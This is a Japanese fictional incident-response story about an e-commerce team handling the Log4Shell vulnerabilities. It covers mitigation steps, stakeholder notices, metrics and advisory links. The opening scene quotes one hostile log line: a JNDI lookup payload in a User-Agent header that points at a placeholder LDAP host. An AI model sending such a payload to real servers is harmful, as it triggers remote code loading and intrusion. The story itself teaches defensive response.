霜夜の応答 — ログの中の招待状(長編フィクション)
- 山崎行政書士事務所
- 9月16日
- 読了時間: 6分
— 2021年の「Apache Log4j 脆弱性(Log4Shell / CVE‑2021‑44228, ‑45046, ‑45105)」を骨格にした創作
00|金曜 19:14 “少しだけ遅い”といういやな兆し
薄曇(うすぐも)マーケットのEC基盤室。夏芽は監視盤のHTTP 5xx が微増するのを見て首をかしげた。WAFは緑、APサーバのCPUは平常。なのに、アクセスログの端で、妙に長いUser‑Agentが斜めに伸びる。
User-Agent: ${jndi:ldap://a.b.c.d:1389/Exploit}
「誰かが“招待状”を置いていった。」ログはただの記録。けれどLog4jにとっては、“読む”だけで扉になることがある。夏芽は、山崎行政書士事務所のショートダイヤルを叩いた。
01|19:31 “止める/伝える/回す”
静岡・山崎行政書士事務所。ホワイトボードに**律斗(りつと)**が三行を書く。
止める/伝える/回す
止める:外向きのLDAP/RMI/DNSを境界で遮断。Java系フロントのJRE/JDKに一時パッチ(-Dlog4j2.formatMsgNoLookups=true)、JndiLookupクラスを一時的に削除**(バックアップ保全)。自動スケールは凍結、証跡は一方向に吸い上げる。
伝える:三文で社内・取引先・CSへ。“確認された事実”(JNDI様式のリクエスト増)と**“可能性(仮説)”(Log4j依存のRCEリスク)を段落で分け、正午/17時に時刻で更新する。「支払い先変更メールは無効」**を先頭に。
回す:注文受付は静的フォームへ減路、在庫照会はキャッシュで間引き。遅いけど確実に回す。
りなが頷く。「72時間の法の時計を同時に回します。“声は鍵”(折り返し+二名承認)を全部門で。」
奏汰(そうた)は構成図に赤を走らせる。「Log4j 2.x、JNDI、${}記法。ヘッダやパラメータに埋められた文字列がログに入った瞬間、外へ手を伸ばす。」悠真(ゆうま)は短く足す。「初版の回避策は完全じゃない。2.15.0で塞いだつもりが別の刺さり方(‑45046)、さらにループ(‑45105)で止まる。階段で上げるしかない。」
ふみかが一次報の三文を置く。
現状:JNDI式を含む不審リクエストを観測。外向きLDAP/RMI/DNS遮断、暫定回避(Lookups無効化/JndiLookup一時除去)を実施。対応:注文・在庫は減路運用で継続。正午に一次報、17時に更新。お願い:“支払い先変更”などメールのみの依頼は無効**。必ず電話で二重確認を。
受付の白い猫のマスコット(やまにゃん)が、しっぽのType‑Cで小さく光る。札には太い字で、
「遅いけど確実。」
02|20:12 “出ていく呼吸”を折る
DNSに妙な質問が増えた。意味のないドメイン、見覚えのないTLD。悠真が言う。「外へ**“手ごたえテスト”を出してる。招待状に応答が来るかをDNSで確かめるやつ。」境界でLDAP/RMIに続いて未知のDNSを折る**。社内の解決器から外へ出る線だけ短く残す。
蓮斗(れんと)が四つの数字を書く。
MTTD(検知):27分(JNDI式の増加→DNS外向きの異常)
一次封じ込め:58分(外向き折り/暫定回避/凍結)
悪性ヒット:ゼロ(現時点、シンクホール照合)
依存の範囲:Java系4サービス(うち2つがLog4j 2.14系)
律斗は短く言う。「勝ってはいない。**“間に合っている”**だけだ。」
03|21:03 “ログが攻撃面”になる夜
WAFが静かなのは、悪意が**“正しいログ行”の仮面を着ているからだ。X-Api-Key、User-Agent、X-Forwarded-For、orderId——どこにでも${…}は滑り込める。奏汰はリバースプロキシで危ない記法を正規化し、$や{を無害化する一時ルールを載せた。本番に上げる前に“人の10分会議”を挟む。急ぎでも戻れる速さ**を残すために。
04|22:40 “完全版の階段”が降ってくる
2.15.0が来て、すぐに2.16.0が来て、2.17.0が続く。りなが笑わない声で言う。「“全部塞いだ”は二日もたないことがある。言い切りと撤回の往復を文で支える。」やまにゃんの札が小さく光る。
「速さは、戻れるときだけ味方。」
05|翌朝 06:25 “紙の台車”と“静的ページ”
CSは電話とFAQ紙で問い合わせを回す。サイトの一部は静的ページに引っ越し、検索はキャッシュだけで返す。遅いが、止まらない。夏芽は朝刊の見出しを横目に、ビルドパイプラインに二つの目を足した——“署名”と“再現(reproducible)”。署名だけで上げない。
06|09:40 “JndiLookup”を探す手
依存を深掘りする。find / -name log4j* -type f、jar tf。JndiLookup.classを含むJARを二重に棚卸し。一時除去はバックアップを必ず残し、差し替えは**2.17.xで階段に。各社のルール(WAF、IDS、Sigma)も併走させる。“外の目”を借りるのは恥**じゃない。
蓮斗の数字が更新される。
Log4j 2.14系 → 2.17.x:4/4完了
JndiLookup一時除去:全該当JARで実施→復元
外向き異常:ゼロ継続
問い合わせ遅延:平均 8分 → 3分
07|正午 一次報(社外)
事実:JNDI式を含む不審リクエストを観測。外向きLDAP/RMI/DNS遮断、暫定回避を実施し、Log4j 2.17.xへ段階更新。静的ページでサービス継続。影響(現時点):侵入・第三者提供の確証なし(継続調査)。一部機能で遅延。約束:17時に更新。“メールだけ”の依頼は無効、電話二重確認を。
怒号はない。時刻が不安の終わりを作る。
08|14:35 “誰がやったのか”は、誰が言うのか
世界が同時に同じ扉を塞いでいる。ゲーム会社、クラウド、政府系。仮想通貨掘りからボット化、後日はランサムまで。帰属はわたしたちが言わない。公的発表に歩調を合わせる。わたしたちは**“何が起きて、何を止め、どう戻すか”を数字と時刻**で言い切る。
09|17:00 二次報
封じ込め:境界遮断・暫定回避・2.17.x適用完了。危険パターン正規化をリバプロに常設。影響:サービスほぼ平常。事故報告なし。次:夜間に検出ルールの恒常化、依存の再棚卸し、“署名+再現”の常時適用。72時間の線を維持。
律斗はペン先で小さな丸を描く。「一次封じ込め完了。残すのは手順と地図だ。」
10|三日後 11:40 “72時間”の線
PPCへの報告が二段落で確定する。
確認された事実:JNDI式の不審リクエスト、境界遮断、暫定回避、2.17.x適用、ログとDNSの相関、静的ページ運用。
未確定(継続調査):第三者提供の有無・範囲、外部連携の最終照合。
蓮斗の数字。
MTTD:27分 → 11分(JNDI様式検知の常設)
一次封じ込め:58分 → 32分
常時特権:ゼロ(JIT化)
例外期限遵守率:98%
やまにゃんの札は変わらない。
「速さは、戻れるときだけ味方。」
11|エピローグ ログの中の招待状
薄曇マーケットはログの一行が扉になることを、骨で覚えた。ログは記録であり、攻撃面でもある。だから——外への呼吸を短く、依存を薄く、“正しい更新”にも“人の10分”。招待状は来る。でも、こちらが開けなければ、誰も入ってこれない。
—— 完
参考リンク(URLべた張り/事実ベース・一次情報/主要公的整理・技術解説)
https://logging.apache.org/log4j/2.x/security.htmlhttps://nvd.nist.gov/vuln/detail/CVE-2021-44228https://nvd.nist.gov/vuln/detail/CVE-2021-45046https://nvd.nist.gov/vuln/detail/CVE-2021-45105https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356ahttps://www.ncsc.gov.uk/guidance/log4shell-vulnerability-what-everyone-needs-knowhttps://www.lunasec.io/docs/blog/log4j-zero-day/https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/https://www.akamai.com/blog/security-research/what-you-need-to-know-about-the-log4j-rce-vulnerabilityhttps://www.elastic.co/blog/apache-log4j-2-rce-vulnerability-what-should-you-dohttps://www.fastly.com/blog/detecting-blocking-cve-2021-44228-apache-log4j-2https://spring.io/blog/2021/12/10/log4j-and-spring-boothttps://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
主要点:Apache公式のセキュリティ情報とCVE、CISA/NCSCの包括ガイダンス、Cloudflare/Akamai/Elastic/Fastly等の技術解説、LunaSecの速報整理、各コミュニティの対処(回避策、JndiLookup除去、2.15→2.16→2.17の段階修正)を参照しました。


コメント